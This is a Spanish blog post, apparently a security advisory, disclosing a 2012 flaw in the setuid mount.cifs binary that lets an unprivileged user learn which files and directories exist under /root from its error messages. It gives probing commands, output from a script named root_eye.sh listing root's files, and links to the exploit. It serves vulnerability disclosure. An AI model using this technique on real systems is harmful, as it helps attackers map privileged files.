on

mount.cifs arbitary file identification 0day

Durante el wargame de la rootedcon 2012, además de participar, me dediqué a revisar un poco los sistemas.

Puesto que no tenía disponible el /proc/kallsyms, hacer ataques al kernel, supondría ir a ciegas, bruteforcear símbolos … , incluso posiblemente crashear el kernel.

De manera que me enfoqué sobretodo a revisar permisos, logs y binarios setuidados.

Mientras analizaba el binario mount.cifs, observé que ejecuta la syscall chdir() con privilegios de  root del cual controlamos las entradas y obtenemos feedback de las salidas.
Esta vulnerabilidad está presente en un binario, que está setuidado en la mayoría de las distribuciones Linux por defecto.

Este binario nos ofrece 3 mensajes de respuesta, si preguntamos por un fichero inexistente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/noexiste
Couldn’t chdir to /root/noexiste: No such file or directory

Un fichero existente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/.bash_history
Couldn’t chdir to /root/.bash_history: Not a directory

y Un directorio existente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/Desktop
mount.cifs: permission denied: no match for /root/Desktop found in /etc/fstab

Resumidamente las 3 respuestas son:

  • Si existe el directorio -> “no match”
  • Si existe el fichero -> “Not a directory”
  • Si no existe -> “No such file or directory”

Este ataque puede ser automatizado con el script root_eye.sh que se encuentra al final de este post.

Veamos un ejemplo real, donde no hay acceso de lectura ni acceso a /root ni a sus ficheros ni subdirectorios.

[sha0@spinlock advs]$ ls -l /root/
ls: cannot open directory /root/: Permission denied

[sha0@spinlock advs]$ stat /root
File: `/root’
Size: 4096         Blocks: 8          IO Block: 4096   directory
Device: 803h/2051d   Inode: 390598      Links: 33
Access: (0750/drwxr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2012-03-07 17:59:04.262792177 +0100
Modify: 2012-03-07 17:59:00.356146674 +0100
Change: 2012-03-07 17:59:00.356146674 +0100
[sha0@spinlock advs]$ ./root_eye.sh root_eye.wl /root/
— directories —
.pulse1
.bash_history
.alsaplayer
.dbus
.mozilla
.VirtualBox
.vim
.links
.config
.cpan
.gnome2
— files —
.pulse-cookie
.keystore
.bash_profile
dead.letter
.mysql_history
.Xauthority
.vimrc
.viminfo
accesos

Esto puede dar pistas a un hacker de por donde atacar, o que teclas “pulsear” 😉

Actualmente se encuentra corregida la vulnerabilidad en la versión 5.4 de cifs-utils.

Exploit, prueba de concepto:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/root_eye1.txt
Security Advisory:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/2012-004.txt

Demo Free Trial Community Newsletter